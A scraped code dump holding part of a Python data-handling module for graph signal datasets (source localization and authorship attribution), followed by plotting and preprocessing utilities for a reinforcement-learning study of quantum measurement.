numbers to be equal\n        Output:\n            accuracy (float): proportion of correct labels\n\n    \"\"\"\n\n    def __init__(self, G, nTrain, nValid, nTest, sourceNodes, tMax = None,\n                 dataType = np.float64, device = 'cpu'):\n        # Initialize parent\n        super().__init__()\n        # store attributes\n        self.dataType = dataType\n        self.device = device\n        self.nTrain = nTrain\n        self.nValid = nValid\n        self.nTest = nTest\n        # If no tMax is specified, set it the maximum possible.\n        if tMax == None:\n            tMax = G.N\n        #\\\\\\ Generate the samples\n        # Get the largest eigenvalue of the weighted adjacency matrix\n        EW, VW = graph.computeGFT(G.W, order = 'totalVariation')\n        eMax = np.max(EW)\n        # Normalize the matrix so that it doesn't explode\n        Wnorm = G.W / eMax\n        # total number of samples\n        nTotal = nTrain + nValid + nTest\n        # sample source nodes\n        sampledSources = np.random.choice(sourceNodes, size = nTotal)\n        # sample diffusion times\n        sampledTimes = np.random.choice(tMax, size = nTotal)\n        # Since the signals are generated as W^t * delta, this reduces to the\n        # selection of a column of W^t (the column corresponding to the source\n        # node). Therefore, we generate an array of size tMax x N x N with all\n        # the powers of the matrix, and then we just simply select the\n        # corresponding column for the corresponding time\n        lastWt = np.eye(G.N, G.N)\n        Wt = lastWt.reshape([1, G.N, G.N])\n        for t in range(1,tMax):\n            lastWt = lastWt @ Wnorm\n            Wt = np.concatenate((Wt, lastWt.reshape([1, G.N, G.N])), axis = 0)\n        x = Wt[sampledTimes, :, sampledSources]\n        # Now, we have the signals and the labels\n        signals = x # nTotal x N (CS notation)\n        # Finally, we have to match the source nodes to the corresponding labels\n        # which start at 0 and increase in integers.\n        nodesToLabels = {}\n        for it in range(len(sourceNodes)):\n            nodesToLabels[sourceNodes[it]] = it\n        labels = [nodesToLabels[x] for x in sampledSources] # nTotal\n        # Split and save them\n        self.samples['train']['signals'] = signals[0:nTrain, :]\n        self.samples['train']['targets'] = np.array(labels[0:nTrain])\n        self.samples['valid']['signals'] = signals[nTrain:nTrain+nValid, :]\n        self.samples['valid']['targets'] =np.array(labels[nTrain:nTrain+nValid])\n        self.samples['test']['signals'] = signals[nTrain+nValid:nTotal, :]\n        self.samples['test']['targets'] =np.array(labels[nTrain+nValid:nTotal])\n        # Change data to specified type and device\n        self.astype(self.dataType)\n        self.to(self.device)\n\nclass Authorship(_dataForClassification):\n    \"\"\"\n    Authorship: Loads the dataset of 19th century writers for the authorship\n        attribution problem\n\n    Initialization:\n\n    Input:\n        authorName (string): which is the selected author to attribute plays to\n        ratioTrain (float): ratio of the total texts to be part of the training\n            set\n        ratioValid (float): ratio of the train texts to be part of the\n            validation set\n        dataPath (string): path to where the authorship data is located\n        graphNormalizationType ('rows' or 'cols'): how to normalize the created\n            graph from combining all the selected author WANs\n        keepIsolatedNodes (bool): If False, get rid of isolated nodes\n        forceUndirected (bool): If True, create an undirected graph\n        forceConnected (bool): If True, ensure that the resulting graph is\n            connected\n        dataType (dtype): type of loaded data (default: np.float64)\n        device (device): where to store the data (e.g., 'cpu', 'cuda:0', etc.)\n\n    Methods:\n\n    .loadData(dataPath): load the data found in dataPath and store it in\n        attributes .authorData and .functionWords\n\n    authorData = .getAuthorData(samplesType, selectData, [, optionalArguments])\n\n        Input:\n            samplesType (string): 'train', 'valid', 'test' or 'all' to determine\n                from which dataset to get the raw author data from\n            selectData (string): 'WAN' or 'wordFreq' to decide if we want to\n                retrieve either the WAN of each excerpt or the word frequency\n                count of each excerpt\n            optionalArguments:\n                0 optional arguments: get all the samples from the specified set\n                1 optional argument (int): number of samples to get (at random)\n                1 optional argument (list): specific indices of samples to get\n\n        Output:\n            Either the WANs or the word frequency count of all the excerpts of\n            the selected author\n\n    .createGraph(): creates a graph from the WANs of the excerpt written by the\n        selected author available in the training set. The fusion of this WANs\n        is done in accordance with the input options following\n        graphTools.createGraph().\n        The resulting adjacency matrix is stored.\n\n    .getGraph(): fetches the stored adjacency matrix and returns it\n\n    .getFunctionWords(): fetches the list of functional words. Returns a tuple\n        where the first element correspond to all the functional words in use,\n        and the second element consists of all the functional words available.\n        Obs.: When we created the graph, some of the functional words might have\n        been dropped in order to make it connected, for example.\n\n    signals, labels = .getSamples(samplesType[, optionalArguments])\n        Input:\n            samplesType (string): 'train', 'valid' or 'test' to determine from\n                which dataset to get the samples from\n            optionalArguments:\n                0 optional arguments: get all the samples from the specified set\n                1 optional argument (int): number of samples to get (at random)\n                1 optional argument (list): specific indices of samples to get\n        Output:\n            signals (dtype.array): numberSamples x numberNodes\n            labels (dtype.array): numberSamples\n            >> Obs.: The 0th dimension matches the corresponding signal to its\n                respective label\n\n    .expandDims(): Adds the feature dimension to the graph signals (i.e. for\n        graph signals of shape nSamples x nNodes, turns them into shape\n        nSamples x 1 x nNodes, so that they can be handled by general graph\n        signal processing techniques that take into account a feature dimension\n        by default)\n\n    .astype(type): change the type of the data matrix arrays.\n        Input:\n            type (dtype): target type of the variables (e.g. torch.float64,\n                numpy.float64, etc.)\n\n    .to(device): if dtype is torch.tensor, move them to the specified device.\n        Input:\n            device (string): target device to move the variables to (e.g. 'cpu',\n                'cuda:0', etc.)\n\n    accuracy = .evaluate(yHat, y, tol = 1e-9)\n        Input:\n            yHat (dtype.array): estimated labels (1-D binary vector)\n            y (dtype.array): correct labels (1-D binary vector)\n            >> Obs.: both arrays are of the same length\n            tol (float): numerical tolerance to consider two numbers to be equal\n        Output:\n            accuracy (float): proportion of correct labels\n\n    \"\"\"\n\n    def __init__(self, authorName, ratioTrain, ratioValid, dataPath,\n                 graphNormalizationType, keepIsolatedNodes,\n                 forceUndirected, forceConnected,\n                 dataType = np.float64, device = 'cpu'):\n        # Initialize parent\n        super().__init__()\n        # Store\n        self.authorName = authorName\n        self.ratioTrain = ratioTrain\n        self.ratioValid = ratioValid\n        self.dataPath = dataPath\n        self.dataType = dataType\n        self.device = device\n        # Store characteristics of the graph to be created\n        self.graphNormalizationType = graphNormalizationType\n        self.keepIsolatedNodes = keepIsolatedNodes\n        self.forceUndirected = forceUndirected\n        self.forceConnected = forceConnected\n        self.adjacencyMatrix = None\n        # Other data to save\n        self.authorData = None\n        self.selectedAuthor = None\n        self.allFunctionWords = None\n        self.functionWords = None\n        # Load data\n        self.loadData(dataPath)\n        # Check that the authorName is a valid name\n        assert authorName in self.authorData.keys()\n        # Get the selected author's data\n        thisAuthorData = self.authorData[authorName].copy()\n        nExcerpts = thisAuthorData['wordFreq'].shape[0] # Number of excerpts\n            # by the selected author\n        nTrainAuthor = int(round(ratioTrain * nExcerpts))\n        nValidAuthor = int(round(ratioValid * nTrainAuthor))\n        nTestAuthor = nExcerpts - nTrainAuthor\n        nTrainAuthor = nTrainAuthor - nValidAuthor\n        # Now, we know how many training, validation and testing samples from\n        # the required author. But we will also include an equal amount of\n        # other authors, therefore\n        self.nTrain = round(2 * nTrainAuthor)\n        self.nValid = round(2 * nValidAuthor)\n        self.nTest = round(2 * nTestAuthor)\n\n        # Now, let's get the corresponding signals for the author\n        xAuthor = thisAuthorData['wordFreq']\n        # Get a random permutation of these works, and split them accordingly\n        randPerm = np.random.permutation(nExcerpts)\n        # Save the indices corresponding to each split\n        randPermTrain = randPerm[0:nTrainAuthor]\n        randPermValid = randPerm[nTrainAuthor:nTrainAuthor+nValidAuthor]\n        randPermTest = randPerm[nTrainAuthor+nValidAuthor:nExcerpts]\n        xAuthorTrain = xAuthor[randPermTrain, :]\n        xAuthorValid = xAuthor[randPermValid, :]\n        xAuthorTest = xAuthor[randPermTest, :]\n        # And we will store this split\n        self.selectedAuthor = {}\n        # Copy all data\n        self.selectedAuthor['all'] = thisAuthorData.copy()\n        # Copy word frequencies\n        self.selectedAuthor['train'] = {}\n        self.selectedAuthor['train']['wordFreq'] = xAuthorTrain.copy()\n        self.selectedAuthor['valid'] = {}\n        self.selectedAuthor['valid']['wordFreq'] = xAuthorValid.copy()\n        self.selectedAuthor['test'] = {}\n        self.selectedAuthor['test']['wordFreq'] = xAuthorTest.copy()\n        # Copy WANs\n        self.selectedAuthor['train']['WAN'] = \\\n                              thisAuthorData['WAN'][randPermTrain, :, :].copy()\n        self.selectedAuthor['valid']['WAN'] = \\\n                              thisAuthorData['WAN'][randPermValid, :, :].copy()\n        self.selectedAuthor['test']['WAN'] = \\\n                               thisAuthorData['WAN'][randPermTest, :, :].copy()\n        # Now we need to get an equal amount of works from the rest of the\n        # authors.\n        xRest = np.empty([0, xAuthorTrain.shape[1]]) # Create an empty matrix\n        # to store all the works by the rest of the authors.\n        # Now go author by author gathering all works\n        for key in self.authorData.keys():\n            # Only for authors that are not the selected author\n            if key is not authorName:\n                thisAuthorTexts = self.authorData[key]['wordFreq']\n                xRest = np.concatenate((xRest, thisAuthorTexts), axis = 0)\n        # After obtaining all works, xRest is of shape nRestOfData x nWords\n        # We now need to select at random from this other data, but only up\n        # to nExcerpts. Therefore, we will randperm all the indices, but keep\n        # only the first nExcerpts indices.\n        randPerm = np.random.permutation(xRest.shape[0])\n        randPerm = randPerm[0:nExcerpts] # nExcerpts x nWords\n        # And now we should just get the appropriate number of texts from these\n        # other authors.\n        # Compute how many samples for each case\n        nTrainRest = self.nTrain - nTrainAuthor\n        nValidRest = self.nValid - nValidAuthor\n        nTestRest = self.nTest - nTestAuthor\n        # And obtain those\n        xRestTrain = xRest[randPerm[0:nTrainRest], :]\n        xRestValid = xRest[randPerm[nTrainRest:nTrainRest + nValidRest], :]\n        xRestTest = xRest[randPerm[nTrainRest+nValidRest:nExcerpts], :]\n        # Now construct the signals and labels. Signals is just the\n        # concatenation of each of these excerpts. Labels is just a bunch of\n        # 1s followed by a bunch of 0s\n        # Obs.: The fact that the dataset is ordered now, it doesn't matter,\n        # since it will be shuffled at each epoch.\n        xTrain = np.concatenate((xAuthorTrain, xRestTrain), axis = 0)\n        labelsTrain = np.concatenate((np.ones(nTrainAuthor),\n                                      np.zeros(nTrainRest)), axis = 0)\n        xValid = np.concatenate((xAuthorValid, xRestValid), axis = 0)\n        labelsValid = np.concatenate((np.ones(nValidAuthor),\n                                      np.zeros(nValidRest)), axis = 0)\n        xTest = np.concatenate((xAuthorTest, xRestTest), axis = 0)\n        labelsTest = np.concatenate((np.ones(nTestAuthor),\n                                     np.zeros(nTestRest)), axis = 0)\n        # And assign them to the required attribute samples\n        self.samples['train']['signals'] = xTrain\n        self.samples['train']['targets'] = labelsTrain.astype(np.int)\n        self.samples['valid']['signals'] = xValid\n        self.samples['valid']['targets'] = labelsValid.astype(np.int)\n        self.samples['test']['signals'] = xTest\n        self.samples['test']['targets'] = labelsTest.astype(np.int)\n        # Create graph\n        self.createGraph()\n        # Change data to specified type and device\n        self.astype(self.dataType)\n        self.to(self.device)\n\n    def loadData(self, dataPath):\n        # TODO: Analyze if it's worth it to create a .pkl and load that\n        # directly once the data has been appropriately parsed. It's just\n        # that loading with hdf5storage takes a couple of second that\n        # could be saved if the .pkl file is faster.\n        rawData = hdf5storage.loadmat(dataPath)\n        # rawData is a dictionary with four keys:\n        #   'all_authors': contains the author list\n        #   'all_freqs': contains the word frequency count for each excerpt\n        #   'all_wans': contains the WANS for each excerpt\n        #   'function_words': a list of the functional words\n        # The issue is that hdf5storage, while necessary to load old\n        # Matlab(R) files, gives the data in a weird format, that we need\n        # to adapt and convert.\n        # The data will be structured as follows. We will have an\n        # authorData dictionary of dictionaries: the first key will be the\n        # author name, the second key will be either freqs or wans to\n        # access either one or another.\n        # We will also clean up and save the functional word list, although\n        # we do not need to use it.\n        authorData = {} # Create dictionary\n        for it in range(len(rawData['all_authors'])):\n            thisAuthor = str(rawData['all_authors'][it][0][0][0])\n            # Each element in rawData['all_authors'] is nested in a couple\n            # of lists, so that's why we need the three indices [0][0][0]\n            # to reach the string with the actual author name.\n            # Get the word frequency\n            thisWordFreq = rawData['all_freqs'][0][it] # 1 x nWords x nData\n            # Again, the [0] is due to the structure of the data\n            # Let us get rid of that extra 1, and then transpose this to be\n            # stored as nData x nWords (since nWords is the dimension of\n            # the number of nodes the network will have; CS notation)\n            thisWordFreq = thisWordFreq.squeeze(0).T # nData x nWords\n            # Finally, get the WANs\n            thisWAN = rawData['all_wans'][0][it] # nWords x nWords x nData\n            thisWAN = thisWAN.transpose(2, 0, 1) # nData x nWords x nWords\n            # Obs.: thisWAN is likely not symmetric, so the way this is\n            # transposed matters. In this case, since thisWAN was intended\n            # to be a tensor in matlab (where the last index is the\n            # collection of matrices), we just throw that last dimension to\n            # the front (since numpy consider the first index as the\n            # collection index).\n            # Now we can create the dictionary and save the corresopnding\n            # data.\n            authorData[thisAuthor] = {}\n            authorData[thisAuthor]['wordFreq'] = thisWordFreq\n            authorData[thisAuthor]['WAN'] = thisWAN\n        # And at last, gather the list of functional words\n        functionWords = [] # empty list to store the functional words\n        for word in rawData['function_words']:\n            functionWords.append(str(word[0][0][0]))\n        # Store all the data recently collected\n        self.authorData = authorData\n        self.allFunctionWords = functionWords\n        self.functionWords = functionWords.copy()\n\n    def getAuthorData(self, samplesType, dataType, *args):\n        # type: train, valid, test\n        # args: 0 args, give back all\n        # args: 1 arg: if int, give that number of samples, chosen at random\n        # args: 1 arg: if list, give those samples precisely.\n        # Check that the type is one of the possible ones\n        assert samplesType == 'train' or samplesType == 'valid' \\\n                    or samplesType == 'test' or samplesType == 'all'\n        # Check that the dataType is either wordFreq or WAN\n        assert dataType == 'WAN' or dataType == 'wordFreq'\n        # Check that the number of extra arguments fits\n        assert len(args) <= 1\n        # If there are no arguments, just return all the desired samples\n        x = self.selectedAuthor[samplesType][dataType]\n        # If there's an argument, we have to check whether it is an int or a\n        # list\n        if len(args) == 1:\n            # If it is an int, just return that number of randomly chosen\n            # samples.\n            if type(args[0]) == int:\n                nSamples = x.shape[0] # total number of samples\n                # We can't return more samples than there are available\n                assert args[0] <= nSamples\n                # Randomly choose args[0] indices\n                selectedIndices = np.random.choice(nSamples, size = args[0],\n                                                   replace = False)\n                # The reshape is to avoid squeezing if only one sample is\n                # requested (because x can have two or three dimension, we\n                # need to take a longer path here, so we will only do it\n                # if args[0] is equal to 1.)\n                if args[0] == 1:\n                    newShape = [1]\n                    newShape.extend(list(x.shape[1:]))\n                    x = x[selectedIndices].reshape(newShape)\n            else:\n                # The fact that we put else here instead of elif type()==list\n                # allows for np.array to be used as indices as well. In general,\n                # any variable with the ability to index.\n                xNew = x[args[0]]\n                # If only one element is selected, avoid squeezing. Given that\n                # the element can be a list (which has property len) or an\n                # np.array (which doesn't have len, but shape), then we can\n                # only avoid squeezing if we check that it has been sequeezed\n                # (or not)\n                if len(xNew.shape) <= len(x.shape):\n                    newShape = [1]\n                    newShape.extend(list(x.shape[1:]))\n                    x = xNew.reshape(newShape)\n\n        return x\n\n    def createGraph(self):\n\n        # Save list of nodes to keep to later update the datasets with the\n        # appropriate words\n        nodesToKeep = []\n        # Number of nodes (so far) = Number of functional words\n        N = self.selectedAuthor['all']['wordFreq'].shape[1]\n        # Create graph\n        graphOptions = {}\n        graphOptions['adjacencyMatrices'] = self.selectedAuthor['train']['WAN']\n        graphOptions['nodeList'] = nodesToKeep\n        graphOptions['aggregationType'] = 'sum'\n        graphOptions['normalizationType'] = self.graphNormalizationType\n        graphOptions['isolatedNodes'] = self.keepIsolatedNodes\n        graphOptions['forceUndirected'] = self.forceUndirected\n        graphOptions['forceConnected'] = self.forceConnected\n        W = graph.createGraph('fuseEdges', N, graphOptions)\n        # Obs.: We do not need to recall graphOptions['nodeList'] as nodesToKeep\n        # since these are all passed as pointers that point to the same list, so\n        # modifying graphOptions also modifies nodesToKeep.\n        # Store adjacency matrix\n        self.adjacencyMatrix = W.astype(np.float64)\n        # Update data\n        #   For each dataset split\n        for key in self.samples.keys():\n            #   Check the signals have been loaded\n            if self.samples[key]['signals'] is not None:\n                #   And check which is the dimension of the nodes (i.e. whether\n                #   it was expanded or not, since we always need to keep the\n                #   entries of the last dimension)\n                if len(self.samples[key]['signals'].shape) == 2:\n                    self.samples[key]['signals'] = \\\n                                   self.samples[key]['signals'][: , nodesToKeep]\n                elif len(self.samples[key]['signals'].shape) == 2:\n                    self.samples[key]['signals'] = \\\n                                   self.samples[key]['signals'][:,:,nodesToKeep]\n\n        if self.allFunctionWords is not None:\n            self.functionWords = [self.allFunctionWords[w] for w in nodesToKeep]\n\n    def getGraph(self):\n\n        return self.adjacencyMatrix\n\n    def getFunctionWords(self):\n\n        return self.functionWords, self.allFunctionWords\n\n    def astype(self, dataType):\n        # This changes the type for the selected author as well as the samples\n        for key in self.selectedAuthor.keys():\n            for secondKey in self.selectedAuthor[key].keys():\n                self.selectedAuthor[key][secondKey] = changeDataType(\n                                            self.selectedAuthor[key][secondKey],\n                                            dataType)\n        self.adjacencyMatrix = changeDataType(self.adjacencyMatrix, dataType)\n\n        # And now, initialize to change the samples as well (and also save the\n        # data type)\n        super().astype(dataType)\n\n\n    def to(self, device):\n        # If the dataType is 'torch'\n        if 'torch' in repr(self.dataType):\n            # Change the selected author ('test', 'train', 'valid', 'all';\n            # 'WANs', 'wordFreq')\n            for key in self.selectedAuthor.keys():\n                for secondKey in self.selectedAuthor[key].keys():\n                    self.selectedAuthor[key][secondKey] \\\n                                = self.selectedAuthor[key][secondKey].to(device)\n            self.adjacencyMatrix.to(device)\n            # And call the inherit method to initialize samples (and save to\n            # device)\n            super().to(device)","repo_name":"alelab-upenn/graph-scattering-transforms","sub_path":"Utils/dataTools.py","file_name":"dataTools.py","file_ext":"py","file_size_in_byte":44966,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"60"}
+{"seq_id":"8432511419","text":"import numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom torch.nn.utils.rnn import pad_sequence\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndef plot_pg(data):\n    \n    fig = plt.figure(figsize=(15,10))\n    \n    fig.add_subplot(4,3,1)\n    smoothed_rewards = pd.Series.rolling(pd.Series(data[:,0]), 10).mean()\n    smoothed_rewards = [elem for elem in smoothed_rewards]\n    plt.plot(data[:,0])\n    plt.plot(smoothed_rewards)\n    plt.plot()\n    plt.xlabel('Episode')\n    plt.ylabel('Sum of return')\n\n    fig.add_subplot(4,3,2)\n    plt.plot(data[:,1])\n    plt.xlabel('Episode')\n    plt.ylabel('Episode length')\n\n    fig.add_subplot(4,3,3)\n    smoothed_rq = pd.Series.rolling(pd.Series(data[:,2]), 10).mean()\n    smoothed_rq = [elem for elem in smoothed_rq]\n    plt.plot(data[:,2],'-o')\n    plt.plot(smoothed_rq)\n#     plt.yscale('log')\n    plt.ylabel('$R_Q$')\n\n    fig.add_subplot(4,3,4)\n    plt.plot(data[:,3])\n    plt.xlabel('Episode')\n    plt.ylabel('Loss')\n    \n    fig.add_subplot(4,3,5)\n    plt.plot(data[:,4])\n    plt.xlabel('Episode')\n    plt.ylabel('Effective Learning Rate')\n    \n    fig.add_subplot(4,3,6)\n    plt.plot(data[:,5])\n    plt.xlabel('Episode')\n    plt.ylabel('Entropy')\n    \n    fig.add_subplot(4,3,7)\n    plt.semilogy(data[:,6],label='min')\n    plt.semilogy(data[:,7],label='max')\n    plt.semilogy(data[:,8],label='mean')\n    plt.xlabel('Episode')\n    plt.ylabel('Measurement Probability')\n    plt.legend()\n    \n    fig.add_subplot(4,3,8)\n    plt.plot(data[:,9])\n    plt.xlabel('Episode')\n    plt.ylabel('Signals')\n\n    fig.add_subplot(4,3,9)\n    plt.plot(data[:,10])\n    plt.xlabel('Episode')\n    plt.ylabel('Max returns')\n\n    fig.add_subplot(4,3,10)\n    plt.plot(data[:,11],label='Euclidean norm')\n    plt.xlabel('Episode')\n    plt.ylabel('$\\Delta g_{van}/g_{van}$')\n        \n    try:        \n        plt.plot(data[:,13],label='Fisher norm')\n        plt.legend()\n        \n        fig.add_subplot(4,3,11)\n        plt.plot(data[:,12],label='Euclidean norm')        \n        plt.plot(data[:,14],label='Fisher norm')        \n        plt.xlabel('Episode')\n        plt.ylabel('$\\Delta g_{van}/g_{nat}$')\n        plt.legend()\n        \n        fig.add_subplot(4,3,12)\n        plt.plot(data[:,15])        \n        plt.xlabel('Episode')\n        plt.ylabel('Baseline')\n        \n    except:\n        pass\n    \n    plt.show()\n    \ndef plot_ac(data):\n    fig = plt.figure(figsize=(15,10))\n    \n    fig.add_subplot(4,3,1)\n    smoothed_rewards = pd.Series.rolling(pd.Series(data[:,0]), 10).mean()\n    smoothed_rewards = [elem for elem in smoothed_rewards]\n    plt.plot(data[:,0])\n    plt.plot(smoothed_rewards)\n    plt.plot()\n    plt.xlabel('Episode')\n    plt.ylabel('Sum of return')\n\n    fig.add_subplot(4,3,2)\n    plt.plot(data[:,1])\n    plt.xlabel('Episode')\n    plt.ylabel('Episode length')\n\n    fig.add_subplot(4,3,3)\n    smoothed_rq = pd.Series.rolling(pd.Series(data[:,2]), 10).mean()\n    smoothed_rq = [elem for elem in smoothed_rq]\n    plt.plot(data[:,2],'-o')\n    plt.plot(smoothed_rq)\n#     plt.yscale('log')\n    plt.ylabel('$R_Q$')\n\n    fig.add_subplot(4,3,4)\n    plt.plot(data[:,4],label='critic')\n    plt.xlabel('Episode')\n    plt.ylabel('Loss')\n    plt.legend()\n\n    fig.add_subplot(4,3,5)\n    plt.plot(data[:,3],label='actor')\n    plt.xlabel('Episode')\n    plt.ylabel('Loss')\n    plt.legend()\n\n    fig.add_subplot(4,3,6)\n    plt.plot(data[:,3],label='actor')\n    plt.plot(data[:,4],label='critic')\n    plt.xlabel('Episode')\n    plt.ylabel('Loss')\n    plt.legend()\n    \n    fig.add_subplot(4,3,7)\n    plt.plot(data[:,5])\n    plt.xlabel('Episode')\n    plt.ylabel('Effective Learning Rate')\n    \n    fig.add_subplot(4,3,8)\n    plt.plot(data[:,6])\n    plt.xlabel('Episode')\n    plt.ylabel('Entropy')\n    \n    fig.add_subplot(4,3,9)\n    plt.semilogy(data[:,7],label='min')\n    plt.semilogy(data[:,8],label='max')\n    plt.semilogy(data[:,9],label='mean')\n    plt.xlabel('Episode')\n    plt.ylabel('Measurement Probability')\n    plt.legend()\n\n    try:\n        fig.add_subplot(4,3,10)\n        plt.plot(data[:,10])\n        plt.xlabel('Episode')\n        plt.ylabel('Critic baseline')\n\n        fig.add_subplot(4,3,11)\n        plt.plot(data[:,11])\n        plt.xlabel('Episode')\n        plt.ylabel('Signals')\n\n        fig.add_subplot(4,3,12)\n        plt.plot(data[:,12])\n        plt.xlabel('Episode')\n        plt.ylabel('Max returns')\n    \n    except:\n        pass\n    \n    plt.show()\n    \ndef plot_rq(data,label=''):\n    \n    smoothed_rq = pd.Series.rolling(pd.Series(data), 10).mean()\n    plt.plot(1-data)\n    plt.plot(1-smoothed_rq)\n\n    rq_idle = 1-0.71653131\n    rq_encode_full = 1-0.88995381 \n    rq_detect = 1-0.985\n    rq_best = 1-0.9999181  #0.98971822\n    text_pos = -len(data)/35\n    plt.axhline(rq_idle,color='k',ls='--')\n    plt.text(text_pos,rq_idle,'Idle')\n    plt.axhline(rq_encode_full,color='k',ls='--')\n    plt.text(text_pos,rq_encode_full,'Full encoding')\n    plt.axhline(rq_detect,color='k',ls='--')\n    plt.text(text_pos,rq_detect,'Non-adaptive detection')\n    plt.text(text_pos,rq_best,'Best detection')\n    yticks = np.array([0.,0.9,0.99,0.999,0.9999])\n    plt.yscale('log')\n    plt.gca().invert_yaxis()\n    plt.yticks(1-yticks,yticks)\n\ndef lighten_color(color, amount=0.5):\n    \"\"\"\n    Lightens the given color by multiplying (1-luminosity) by the given amount.\n    Input can be matplotlib color string, hex string, or RGB tuple.\n\n    Examples:\n    >> lighten_color('g', 0.3)\n    >> lighten_color('#F034A3', 0.6)\n    >> lighten_color((.3,.55,.1), 0.5)\n    \"\"\"\n    import matplotlib.colors as mc\n    import colorsys\n    try:\n        c = mc.cnames[color]\n    except:\n        c = color\n    c = colorsys.rgb_to_hls(*mc.to_rgb(c))\n    return colorsys.hls_to_rgb(c[0], 1 - amount * (1 - c[1]), c[2])   \n    \ndef plot_rq_multi(datas,labels=None,avg_only=False):\n    colors = [f'C{i}' for i in range(10)]+['b','k']\n    if labels is None:\n        labels=['']*len(datas)\n        \n    for i,data in enumerate(datas):\n        smoothed_rq = pd.Series.rolling(pd.Series(data), 10).mean()\n        if avg_only:\n            plt.plot(1-smoothed_rq,color=colors[i],label=labels[i])\n        else:\n            plt.plot(1-data,color=colors[i],label=labels[i])\n            plt.plot(1-smoothed_rq,color=lighten_color(colors[i],1.3))\n\n    rq_idle = 1-0.71653131\n    rq_encode_full = 1-0.88995381 \n    rq_detect = 1-0.985\n    rq_best = 1-0.9999181 #0.98971822\n    text_pos = -len(data)/35\n    plt.axhline(rq_idle,color='k',ls='--')\n    plt.text(text_pos,rq_idle,'Idle')\n    plt.axhline(rq_encode_full,color='k',ls='--')\n    plt.text(text_pos,rq_encode_full,'Full encoding')\n    plt.axhline(rq_detect,color='k',ls='--')\n    plt.text(text_pos,rq_detect,'Non-adaptive detection')\n    plt.text(text_pos,rq_best,'Best detection')\n    yticks = np.array([0.,0.9,0.99,0.999,0.9999])\n    plt.yscale('log')\n    plt.gca().invert_yaxis()\n    plt.yticks(1-yticks,yticks)\n    plt.legend()\n    plt.show()\n    \ndef plot_policy(policy,actions):\n    plt.figure(figsize=(10,3))\n    plt.plot(policy)\n    xticks = tuple(actions)\n    plt.xticks(np.arange(len(actions)),xticks, rotation=60)\n    plt.grid()\n    plt.show()\n    \ndef preprocess(state, num_actions, actor_dm = False):\n    '''\n    Note:\n    - Eigendecomp for concatenated dms shuffles up the eigenvalues\n    - Try MKL?\n    '''\n    dms, prev_act, prev_meas, meas_bias, tnow = state\n    if prev_act == -1:\n        prev_act = num_actions-1\n    # PCA\n    kets = []\n    for j in range(4):\n        # Faster eigen decomp\n        ev,es = np.linalg.eigh(dms[j].data.toarray())\n        sort_ind = np.argsort(ev.real)[::-1]\n        ev = ev.real[sort_ind]\n        es = es[:,sort_ind]\n        ket = np.hstack([np.sqrt(ev[k])*es[:,k] for k in range(6)])\n\n        kets.append(ket.real)\n        kets.append(ket.imag)\n    kets = torch.FloatTensor(np.hstack(kets))\n\n    prev_act = F.one_hot(torch.tensor([prev_act]),num_actions).flatten().float()\n    prev_meas = F.one_hot(torch.tensor([prev_meas]),3).flatten().float()\n    meas_bias = torch.tensor(meas_bias).float()\n    tnow = torch.tensor([tnow]).float()\n\n    critic_state = torch.cat([kets,meas_bias,prev_act,tnow])\n    if actor_dm:\n        actor_state = torch.cat([kets,prev_meas,prev_act,tnow])       \n    else:\n        actor_state = torch.cat([prev_meas,prev_act,tnow])\n\n    return actor_state,critic_state\n\ndef preprocess_jax(state, num_actions, order=6, test=False, actor_dm=False,bias=True):\n\n    dms, prev_act, prev_meas, meas_bias, tnow = state\n    batch_shape = dms.shape[:-2]\n    prev_act = np.where(prev_act==-1,num_actions-1,prev_act)\n\n    ev,es = np.linalg.eigh(dms)\n    assert not ev.imag.any()\n    ev = ev.real[...,::-1]\n    es = es[...,::-1]\n    ev = np.where(np.abs(ev)<1e-14,0,ev)\n    kets = np.einsum('...j,...ij->...ij',np.sqrt(ev),es)\n    if test:\n        diff = np.linalg.norm(np.einsum('...ji,...ki->...jk',kets,kets.conj())-dms)/np.linalg.norm(dms)\n        print(f'Reconstruction relative error: {diff:.3e}')\n        diff_order = np.linalg.norm(np.einsum('...ji,...ki->...jk',kets[...,:order],kets[...,:order].conj())-dms)/np.linalg.norm(dms)\n        print(f'Reconstruction relative error at order {order}: {diff_order:.3e}')\n\n    kets = kets[...,:order].reshape(*batch_shape,-1)\n    kets = np.ascontiguousarray(kets).view(np.float64).reshape(batch_shape[0],-1) # order=1 is not contiguous\n#     old_kets = kets.view(np.float64).reshape(batch_shape[0],-1)\n\n    kets = torch.FloatTensor(kets)\n    prev_act = F.one_hot(torch.LongTensor(prev_act),num_actions).float()\n    prev_meas = F.one_hot(torch.LongTensor(prev_meas),3).float()\n    \n    # Correct meas_bias and tnow\n#     print('correct meas_bias and tnow')\n    meas_bias = (np.abs(meas_bias)>1e-14).any(axis=-1).astype(int)\n    meas_bias = F.one_hot(torch.LongTensor(meas_bias),2).float()\n    \n    tnow = int(tnow>190)\n    tnow = F.one_hot(torch.LongTensor(tnow*np.ones(batch_shape[0])),2).float()\n    if bias:\n        critic_state = torch.cat([kets,meas_bias,prev_act,tnow],dim=1)\n    else:\n        critic_state = torch.cat([kets,prev_act,tnow],dim=1)\n    \n#     actor_state = torch.cat([prev_meas,prev_act,tnow],dim=1)\n    if actor_dm:\n        actor_state = torch.cat([kets,prev_meas,prev_act,tnow],dim=1)       \n    else:\n        actor_state = torch.cat([prev_meas,prev_act,tnow],dim=1)\n\n    return actor_state,critic_state\n\ndef random_choice_2d(a, axis=1):\n    r = np.expand_dims(np.random.rand(a.shape[1-axis]), axis=axis)\n    return (a.cumsum(axis=axis) > r).argmax(axis=axis)\n\ndef get_action(policy,eps=1.):\n    policy = np.exp(np.log(policy)*eps)\n    policy /= policy.sum(-1,keepdims=True)\n    if len(policy.shape) == 1:\n        return np.random.choice(len(policy), p=policy)\n    elif len(policy.shape) == 2:\n        return random_choice_2d(policy)\n\n# def get_returns(rewards,gamma=1.):\n#     r1,r2 = rewards\n#     T = len(r1)\n#     returns = torch.zeros(T)\n#     running_returns = 0\n#     for t in reversed(range(T)):\n#         running_returns = r1[t] + gamma*running_returns\n#         returns[t] = (1-gamma)*running_returns + r2[t]\n#     return returns\n\ndef get_returns(rewards,gamma=1.):\n    r1,r2 = torch.tensor(rewards)\n    T = rewards.shape[-1]\n    returns = torch.zeros(r1.shape)\n    running_returns = torch.zeros(r1.shape[:-1])\n    for t in reversed(range(T)):\n        running_returns = r1[...,t] + gamma*running_returns\n        returns[...,t] = (1-gamma)*running_returns + r2[...,t]\n    return 